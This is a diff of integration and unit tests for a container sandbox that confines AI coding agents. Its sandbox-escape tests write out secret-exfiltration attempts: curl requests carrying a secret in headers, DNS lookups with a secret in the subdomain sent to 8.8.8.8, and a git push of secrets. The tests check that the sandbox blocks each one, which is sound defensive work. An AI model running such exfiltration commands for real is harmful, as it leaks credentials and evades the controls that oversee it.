# we can disambiguate. Split that off.
http_code = ""
@@ -277,24 +281,25 @@ class TestSandboxEscape(unittest.TestCase):
body, _, http_code = body_and_code.rpartition(marker)
http_code = http_code.strip()
body = body.rstrip()
haystack = (body + " " + (r.stderr or "")).lower() # type: ignore
haystack = (body + " " + (r.stderr or "")).lower()
has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
self.assertTrue(
has_marker and http_code == "403",
f"{label}: expected a sandbox-level block (HTTP 403 with "
f"egress marker), got HTTP {http_code!r}. "
f"egress/pipelock marker), got HTTP {http_code!r}. "
f"If the response came from the actual upstream, the "
f"secret REACHED the network — that's the leak this "
f"test exists to catch. body={body!r} "
f"stderr={(r.stderr or '').strip()!r}", # type: ignore
f"stderr={(r.stderr or '').strip()!r}",
)
def test_3_http_exfil_blocked(self) -> None:
"""The agent tries to leak `$TEST_SECRET_ANTHROPIC` to an
ALLOWLISTED destination (api.anthropic.com) via four
different request shapes. Each must be blocked by a
sandbox layer (egress allowlist filter) — producing an
HTTP 403 with an `egress:` marker in the response body.
sandbox layer (pipelock DLP / egress filter / etc.) —
producing an HTTP 403 with an `egress:` or `pipelock`
marker in the response body.
Anything else means the request reached upstream and the
secret leaked, even if the upstream responded with its
@@ -305,10 +310,10 @@ class TestSandboxEscape(unittest.TestCase):
remediation lands as its own PRD before this test merges.
DON'T mark expectedFailure to silence it.
Destination note: we use `raw.githubusercontent.com`, which
is not in the bottle's egress.routes allowlist, so egress
blocks every request to it regardless of the secret's
location in the request."""
Destination note: we use `raw.githubusercontent.com`, one
of the DEFAULT_ALLOWLIST hosts. It is not route-configured
for pipelock TLS passthrough, so pipelock MITMs it and the
DLP scan applies, which is what this attack exercises."""
# Capture HTTP code via curl's -w; don't use --fail so
# we get the response body even on 4xx.
url_base = "https://raw.githubusercontent.com"
@@ -338,29 +343,29 @@ class TestSandboxEscape(unittest.TestCase):
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
),
]
for name, cmd in shapes: # type: ignore
for name, cmd in shapes:
with self.subTest(shape=name):
r = self._bottle.exec(cmd) # type: ignore
r = self._bottle.exec(cmd)
self._assert_sandbox_block(name, r)
# ---- attack 4: DNS exfil -----------------------------------------
def test_4_dns_exfil_blocked(self) -> None:
"""Two sub-attacks against DNS:
4a — crafted subdomain attack. The hostname
`<SECRET>.api.anthropic.com` looks "under" the
allowlisted apex but egress's allowlist is
exact-match — it rejects the host before issuing
a DNS query, so the secret never reaches an
external resolver.
4b — direct DNS query bypassing egress entirely. The
4a — crafted subdomain that pipelock would resolve. The
hostname `<SECRET>.api.anthropic.com` looks "under"
the allowlisted apex but pipelock's allowlist is
exact-match — it should reject the host BEFORE
issuing the DNS query, so the secret never reaches
an external resolver.
4b — direct DNS query bypassing pipelock entirely. The
agent's internal network has no default gateway;
even an explicit resolver like 8.8.8.8 should be
unreachable. Confirms the network isolation is
intact (PRD 0022 Q2)."""
with self.subTest(attack="crafted subdomain"):
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'curl --silent --show-error --max-time 8 --fail '
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
)
@@ -374,7 +379,7 @@ class TestSandboxEscape(unittest.TestCase):
# `+short +tries=1 +time=3`: no debug output, one attempt,
# 3s timeout. Outside the internal network has no path;
# dig should fail or return empty.
r = self._bottle.exec( # type: ignore
r = self._bottle.exec(
'dig +short +tries=1 +time=3 @8.8.8.8 '
'"$TEST_SECRET_GENERIC.example.com" '
'; echo "EXIT=$?"'
@@ -426,7 +431,7 @@ class TestSandboxEscape(unittest.TestCase):
with self.subTest(secret=name):
# Fresh repo per shape so prior commits don't
# confuse gitleaks's diff. -rm -rf is best-effort.
script = ( # type: ignore
script = (
'set -eu\n'
'cd /tmp\n'
'rm -rf sandbox-escape-repo\n'
@@ -441,8 +446,8 @@ class TestSandboxEscape(unittest.TestCase):
f'git remote add origin {upstream_url}\n'
'git push origin HEAD:refs/heads/master 2>&1\n'
)
r = self._bottle.exec(script) # type: ignore
combined = (r.stderr + r.stdout).lower() # type: ignore
r = self._bottle.exec(script)
combined = (r.stderr + r.stdout).lower()
self.assertNotEqual(
0, r.returncode,
tests/integration/test_sidecar_bundle_compose.py
+20 -12
View File
@@ -2,8 +2,8 @@
Verifies that flipping `BOT_BOTTLE_SIDECAR_BUNDLE=1` produces a
working bottle: `docker compose up` brings the agent + bundle pair
online, the daemons inside the bundle bind their ports, and the
agent can reach egress + supervise via the bundle's network
online, the four daemons inside the bundle bind their ports, and
the agent can reach pipelock + supervise via the bundle's network
aliases (no agent-side config changes between flag positions).
Skipped under GITEA_ACTIONS — the bundle image is a multi-stage
@@ -27,9 +27,11 @@ from tests._docker import skip_unless_docker
def _manifest() -> Manifest:
"""Bottle with supervise on so the bundle exercises egress +
supervise. Git is off because a meaningful git-gate test needs
a real upstream and SSH keys — out of scope for a bundle smoke."""
"""Bottle with supervise on so the bundle exercises three of
the four daemons (pipelock, egress, supervise). Git is off
because a meaningful git-gate test needs a real upstream and
SSH keys — out of scope for a bundle smoke. Egress is
implicitly on as pipelock's upstream regardless of routes."""
return Manifest.from_json_obj({
"bottles": {
"dev": {
@@ -66,16 +68,21 @@ class TestSidecarBundleCompose(unittest.TestCase):
plan = backend.prepare(spec, stage_dir=stage_dir)
with backend.launch(plan) as bottle:
# The agent's HTTPS_PROXY URL (resolved at
# renderer-time) should reach egress inside
# the bundle. A bare CONNECT with no upstream
# URL gets rejected with 400 or 405 but proves
# the listener is alive at the alias.
# renderer-time, unchanged from the legacy
# shape) should reach pipelock inside the
# bundle. We probe by asking for the proxy's
# listening port from inside the agent.
probe = bottle.exec(
"set -eu\n"
"echo HTTPS_PROXY=$HTTPS_PROXY\n"
"PORT=$(echo \"$HTTPS_PROXY\" | sed -E 's|.*:([0-9]+).*|\\1|')\n"
"HOST=$(echo \"$HTTPS_PROXY\" | sed -E 's|http://([^:]+):.*|\\1|')\n"
"echo HOST=$HOST PORT=$PORT\n"
# nc is not in the agent image but curl is —
# a CONNECT with no upstream URL will get
# rejected by pipelock with 400 or 405 but
# confirms the listener is alive at the
# alias.
"curl -sS --max-time 5 -o /dev/null -w 'http=%{http_code}\\n' "
" \"http://$HOST:$PORT/\" || true\n"
)
@@ -91,10 +98,11 @@ class TestSidecarBundleCompose(unittest.TestCase):
shutil.rmtree(stage_dir, ignore_errors=True)
self.assertEqual(0, probe.returncode, msg=probe.stderr)
# egress answered SOMETHING — any 4xx is fine, just proves
# the egress daemon is listening at the proxy address.
# pipelock answered SOMETHING — any 4xx is fine, just proves
# the bundle's pipelock daemon is listening at the
# `pipelock` alias on port 8888 (or whatever the env says).
self.assertIn("http=", probe.stdout,
f"no HTTP response from egress: {probe.stdout!r}")
f"no HTTP response from pipelock: {probe.stdout!r}")
# supervise's /health endpoint exists (PRD 0013); it should
# answer 200 or similar — anything non-empty proves the
# third daemon's alias resolves to the same bundle.
tests/integration/test_sidecar_bundle_image.py
+11 -6
View File
@@ -1,15 +1,15 @@
"""Integration: PRD 0024 chunk 1 — the sidecar bundle image builds
and the daemon binaries are present + executable inside it.
and the four daemon binaries are present + executable inside it.
This test does NOT exercise the daemons running against real
config (routes.yaml, etc) — that lands in chunk 2 when the
renderer wires the bundle into compose. What we verify here is
the chunk-1 contract:
config (pipelock.yaml, routes.yaml, etc) — that lands in chunk 2
when the renderer wires the bundle into compose. What we verify
here is the chunk-1 contract:
- Dockerfile.sidecars builds (multi-stage works, base layers
pull, COPYs resolve).
- gitleaks, mitmdump are at the documented paths and answer
`--version`.
- pipelock, gitleaks, mitmdump are at the documented paths and
answer `--version`.
- The Python init at /app/sidecar_init.py runs and prints the
expected "no daemons selected" line when the supervisor is
pointed at an empty daemon set.
@@ -74,6 +74,11 @@ class TestSidecarBundleImage(unittest.TestCase):
)
return proc.returncode, proc.stdout.decode("utf-8", errors="replace")
def test_pipelock_binary_present_and_versioned(self):
rc, out = self._run_in_image("/usr/local/bin/pipelock", "version")
self.assertEqual(0, rc, msg=out)
self.assertIn("pipelock version", out)
def test_gitleaks_binary_present_and_versioned(self):
rc, out = self._run_in_image("/usr/bin/gitleaks", "version")
self.assertEqual(0, rc, msg=out)
tests/integration/test_smolmachines_bundle_bringup.py
+8 -3
View File
@@ -12,6 +12,7 @@ localhost-reach / egress-port-bypass probes) lives in chunk 2d."""
from __future__ import annotations
import json
import os
import subprocess
import time
@@ -81,9 +82,13 @@ class TestBundleBringup(unittest.TestCase):
subnet=subnet,
gateway=gateway,
bundle_ip=bundle_ip,
# Empty daemons_csv → init exits "no daemons selected"
# immediately. We just need the container to land on
# the network at the right IP before it exits.
# Only run the pipelock daemon for this smoke — it's
# the lightest of the four and doesn't need bind
# mounts beyond what we'd skip without
# BOT_BOTTLE_SIDECAR_DAEMONS. (The init
# supervisor will exit if pipelock fails to find its
# yaml — that's expected here; we just need the
# container to land on the network at the right IP.)
daemons_csv="", # empty → init exits "no daemons selected"
)
start_bundle(spec)
tests/integration/test_smolmachines_launch.py
+32 -6
View File
@@ -110,10 +110,10 @@ class TestSmolmachinesLaunch(unittest.TestCase):
# (high-numbered) so we're confirming TSI refusal, not
# just "no service listening."
r = self.bottle.exec(
"curl -s --show-error --max-time 3 http://127.0.0.1:9 2>&1 || true"
"wget -T 3 -t 1 -O - http://127.0.0.1:9 2>&1 || true"
)
# `curl` to a denied destination produces a connect error.
# The exact phrasing varies by curl version; we assert
# `wget` to a denied destination produces a connect error.
# The exact phrasing varies (busybox vs gnu); we assert
# the response is NOT the body of any real service.
self.assertNotIn("hello-from-vm", r.stdout)
self.assertTrue(
@@ -124,12 +124,38 @@ class TestSmolmachinesLaunch(unittest.TestCase):
f"expected a connect-refusal message; got: {r.stdout!r}",
)
def test_pipelock_answers_on_bundle_ip(self):
# Chunk 4b: the bundle's pipelock daemon is now actually
# running (was daemons_csv="" in chunks 2d/3). From inside
# the guest, a TCP connect to <bundle-ip>:8888 must succeed
# — distinct from the egress-port-bypass probe below where
# the connect must FAIL.
#
# We don't try to speak proxy protocol here — pipelock will
# 4xx a bare GET — we just verify the socket answers.
r = self.bottle.exec(
f"wget -T 5 -t 1 -O - http://{self.plan.bundle_ip}:8888/ "
"2>&1 || true"
)
# Any HTTP response (even a 4xx) proves pipelock is up.
# "connection refused" / "unable to connect" / "timed out"
# would mean it isn't.
msg = r.stdout.lower()
self.assertNotIn(
"connection refused", msg,
f"pipelock connect refused — daemon not listening? {r.stdout!r}",
)
self.assertNotIn(
"timed out", msg,
f"pipelock connect timed out: {r.stdout!r}",
)
def test_prompt_file_lands_in_guest(self):
# provision_prompt copies the host-side prompt.txt into the
# guest at /home/node/.bot-bottle-prompt.txt. The content
# guest at /root/.bot-bottle-prompt.txt. The content
# must match what the manifest declared so claude-code's
# --append-system-prompt-file reads the right text.
r = self.bottle.exec("cat /home/node/.bot-bottle-prompt.txt")
r = self.bottle.exec("cat /root/.bot-bottle-prompt.txt")
self.assertEqual(0, r.returncode, msg=r.stderr)
self.assertEqual(_AGENT_PROMPT, r.stdout.rstrip("\n"))
@@ -143,7 +169,7 @@ class TestSmolmachinesLaunch(unittest.TestCase):
# connect fails, which is the property chunk 3 will
# preserve once egress is actually running.
r = self.bottle.exec(
f"curl -s --show-error --max-time 3 http://{self.plan.bundle_ip}:9099 "
f"wget -T 3 -t 1 -O - http://{self.plan.bundle_ip}:9099 "
"2>&1 || true"
)
self.assertTrue(
tests/unit/test_agent_provider.py
+6 -1
View File
@@ -11,12 +11,13 @@ from pathlib import Path
from bot_bottle.agent_provider import (
CODEX_HOST_CREDENTIAL_HOSTS,
agent_provision_plan,
runtime_for,
)
from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
def _jwt(exp: int) -> str:
def enc(obj: dict[str, object]) -> str: # type: ignore
def enc(obj: dict) -> str:
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
@@ -101,6 +102,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
self.assertEqual("api.anthropic.com", route.host)
self.assertEqual("Bearer", route.auth_scheme)
self.assertEqual("BOT_BOTTLE_CLAUDE_OAUTH_TOKEN", route.token_ref)
self.assertTrue(route.tls_passthrough)
self.assertEqual("egress-placeholder", plan.env_vars["CLAUDE_CODE_OAUTH_TOKEN"])
self.assertEqual("1", plan.env_vars["CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC"])
self.assertEqual("1", plan.env_vars["DISABLE_ERROR_REPORTING"])
@@ -142,6 +144,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
for r in plan.egress_routes:
self.assertEqual("Bearer", r.auth_scheme)
self.assertEqual(CODEX_HOST_CREDENTIAL_TOKEN_REF, r.token_ref)
self.assertTrue(r.tls_passthrough)
def test_codex_without_forward_host_credentials_has_passthrough_egress_routes(self):
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
@@ -159,6 +162,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
for r in plan.egress_routes:
self.assertEqual("", r.auth_scheme)
self.assertEqual("", r.token_ref)
self.assertTrue(r.tls_passthrough)
def test_claude_without_auth_token_has_passthrough_egress_route(self):
with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
@@ -173,6 +177,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
self.assertEqual("api.anthropic.com", route.host)
self.assertEqual("", route.auth_scheme)
self.assertEqual("", route.token_ref)
self.assertTrue(route.tls_passthrough)
self.assertNotIn("CLAUDE_CODE_OAUTH_TOKEN", plan.env_vars)
self.assertEqual(frozenset(), plan.hidden_env_names)
tests/unit/test_backend_parity.py
+3 -3
View File
@@ -14,7 +14,7 @@ from __future__ import annotations
import subprocess
import unittest
from typing import Callable
from unittest.mock import patch
from unittest.mock import MagicMock, call, patch
# ---------------------------------------------------------------------------
@@ -175,9 +175,9 @@ class TestExecUserSwitching(unittest.TestCase):
class TestExecResultParity(unittest.TestCase):
"""Both backends return ExecResult with returncode, stdout, stderr."""
def _stub_run(self, argv: object, **kwargs: object) -> object: # type: ignore
def _stub_run(self, argv, **kwargs):
return subprocess.CompletedProcess(
argv, 0, stdout="out\n", stderr="err\n", # type: ignore
argv, 0, stdout="out\n", stderr="err\n",
)
def test_docker_exec_result_shape(self):
tests/unit/test_backend_selection.py
+7 -7
View File
@@ -57,7 +57,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
def test_concatenates_per_backend(self):
a = ActiveAgent(
backend_name="docker", slug="a-1", agent_name="impl",
started_at="", services=("egress",),
started_at="", services=("pipelock",),
)
b = ActiveAgent(
backend_name="smolmachines", slug="b-2", agent_name="research",
@@ -65,7 +65,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
)
class _FakeBackend:
def __init__(self, items: object, available: object = True) -> None: # type: ignore
def __init__(self, items, available=True):
self._items = items
self._available = available
@@ -100,13 +100,13 @@ class TestEnumerateActiveAgents(unittest.TestCase):
)
class _FakeBackend:
def __init__(self, items: object) -> None: # type: ignore
def __init__(self, items):
self._items = items
def is_available(self) -> bool:
def is_available(self):
return True
def enumerate_active(self) -> object:
def enumerate_active(self):
return self._items
with patch.object(
@@ -150,11 +150,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
)
class _FakeBackend:
def __init__(self, items: object, available: object) -> None: # type: ignore
def __init__(self, items, available):
self._items = items
self._available = available
def is_available(self) -> object:
def is_available(self):
return self._available
def enumerate_active(self):
tests/unit/test_capability_apply.py
+3 -3
View File
@@ -67,13 +67,13 @@ class TestApplyCapabilityChange(_FakeHomeMixin, unittest.TestCase):
self._orig_push = capability_apply._push_working_tree
self._orig_teardown = capability_apply._teardown_bottle
def stub_snapshot(slug: object) -> None: # type: ignore
def stub_snapshot(slug):
self._calls.append(f"snapshot:{slug}")
def stub_push(slug: object) -> None: # type: ignore
def stub_push(slug):
self._calls.append(f"push:{slug}")
def stub_teardown(slug: object) -> None: # type: ignore
def stub_teardown(slug):
self._calls.append(f"teardown:{slug}")
capability_apply.snapshot_transcript = stub_snapshot # type: ignore[assignment]
tests/unit/test_cli_cleanup_cross_backend.py
+5 -4
View File
@@ -6,6 +6,7 @@ the operator confirms. Mocks the backends and stdin."""
from __future__ import annotations
import sys
import unittest
from unittest.mock import patch, MagicMock
@@ -31,7 +32,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes", return_value=True,
):
@@ -52,7 +53,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes",
) as prompt:
@@ -71,7 +72,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes", return_value=False,
):
@@ -91,7 +92,7 @@ class TestCmdCleanup(unittest.TestCase):
return_value=("docker", "smolmachines"),
), patch.object(
cmd, "get_bottle_backend",
side_effect=lambda name: backends_by_name[name], # type: ignore
side_effect=lambda name: backends_by_name[name],
), patch.object(
cmd, "_prompt_yes", return_value=True,
):
tests/unit/test_cli_start_selector.py
-141
View File
@@ -1,141 +0,0 @@
"""Unit: cmd_start selector dispatch (PRD 0051).
Tests that cmd_start calls filter_select when name / backend are absent,
skips them when both are explicit, and returns 0 on cancel.
All actual launch work is stubbed so no container is created.
"""
from __future__ import annotations
import os
import unittest
from unittest.mock import MagicMock, patch
import bot_bottle.cli.start as start_mod
import bot_bottle.cli.tui as tui_mod
def _make_manifest(agent_names: list[str]):
manifest = MagicMock()
manifest.agents = {name: MagicMock() for name in agent_names}
return manifest
class TestCmdStartSelector(unittest.TestCase):
"""Drive cmd_start with a minimal set of stubs."""
def setUp(self):
# Stub Manifest.resolve so no on-disk manifest is needed.
self._manifest = _make_manifest(["researcher", "implementer"])
self._resolve_patch = patch(
"bot_bottle.cli.start.Manifest.resolve",
return_value=self._manifest,
)
self._resolve_patch.start()
# Stub _launch_bottle so no real container work happens.
self._launch_patch = patch(
"bot_bottle.cli.start._launch_bottle",
return_value=0,
)
self._launch_mock = self._launch_patch.start()
# Stub filter_select to avoid opening /dev/tty.
self._tui_patch = patch.object(tui_mod, "filter_select")
self._tui_mock = self._tui_patch.start()
# Ensure BOT_BOTTLE_BACKEND is absent so the backend picker fires.
self._env_patch = patch.dict(os.environ, {}, clear=False)
self._env_patch.start()
os.environ.pop("BOT_BOTTLE_BACKEND", None)
def tearDown(self):
self._resolve_patch.stop()
self._launch_patch.stop()
self._tui_patch.stop()
self._env_patch.stop()
# ------------------------------------------------------------------
# Both explicit — no picker shown
# ------------------------------------------------------------------
def test_both_explicit_skips_picker(self):
self._tui_mock.return_value = "researcher"
rc = start_mod.cmd_start(["--backend=docker", "researcher"])
self.assertEqual(0, rc)
self._tui_mock.assert_not_called()
self._launch_mock.assert_called_once()
_, kwargs = self._launch_mock.call_args
self.assertEqual("docker", kwargs["backend_name"])
# ------------------------------------------------------------------
# Agent absent → agent picker fires; backend explicit
# ------------------------------------------------------------------
def test_agent_absent_shows_agent_picker(self):
self._tui_mock.return_value = "researcher"
rc = start_mod.cmd_start(["--backend=docker"])
self.assertEqual(0, rc)
self._tui_mock.assert_called_once()
call_kwargs = self._tui_mock.call_args
self.assertEqual(["implementer", "researcher"], call_kwargs[0][0])
self.assertIn("agent", call_kwargs[1]["title"].lower())
def test_agent_picker_cancel_returns_0(self):
self._tui_mock.return_value = None
rc = start_mod.cmd_start(["--backend=docker"])
self.assertEqual(0, rc)
self._launch_mock.assert_not_called()
# ------------------------------------------------------------------
# Agent explicit, backend absent → backend picker fires
# ------------------------------------------------------------------
def test_backend_absent_shows_backend_picker(self):
self._tui_mock.return_value = "docker"
rc = start_mod.cmd_start(["researcher"])
self.assertEqual(0, rc)
self._tui_mock.assert_called_once()
call_kwargs = self._tui_mock.call_args
self.assertIn("backend", call_kwargs[1]["title"].lower())
def test_backend_picker_cancel_returns_0(self):
self._tui_mock.return_value = None
rc = start_mod.cmd_start(["researcher"])
self.assertEqual(0, rc)
self._launch_mock.assert_not_called()
def test_bot_bottle_backend_env_skips_backend_picker(self):
os.environ["BOT_BOTTLE_BACKEND"] = "docker"
try:
rc = start_mod.cmd_start(["researcher"])
finally:
os.environ.pop("BOT_BOTTLE_BACKEND", None)
self.assertEqual(0, rc)
self._tui_mock.assert_not_called()
# ------------------------------------------------------------------
# Both absent → agent picker then backend picker
# ------------------------------------------------------------------
def test_both_absent_shows_both_pickers_in_order(self):
self._tui_mock.side_effect = ["researcher", "docker"]
rc = start_mod.cmd_start([])
self.assertEqual(0, rc)
self.assertEqual(2, self._tui_mock.call_count)
first_title = self._tui_mock.call_args_list[0][1]["title"].lower()
second_title = self._tui_mock.call_args_list[1][1]["title"].lower()
self.assertIn("agent", first_title)
self.assertIn("backend", second_title)
def test_both_absent_agent_cancel_skips_backend_picker(self):
self._tui_mock.side_effect = [None]
rc = start_mod.cmd_start([])
self.assertEqual(0, rc)
self.assertEqual(1, self._tui_mock.call_count)
self._launch_mock.assert_not_called()
if __name__ == "__main__":
unittest.main()
tests/unit/test_cli_start_settle.py
+1 -1
View File
@@ -36,7 +36,7 @@ class TestCaptureSessionState(_FakeHomeMixin, unittest.TestCase):
# covers the real docker cp path.
self._snap_calls: list[str] = []
self._orig_snap = start_mod.snapshot_transcript
start_mod.snapshot_transcript = lambda identity: ( # type: ignore
start_mod.snapshot_transcript = lambda identity: (
self._snap_calls.append(identity)
)

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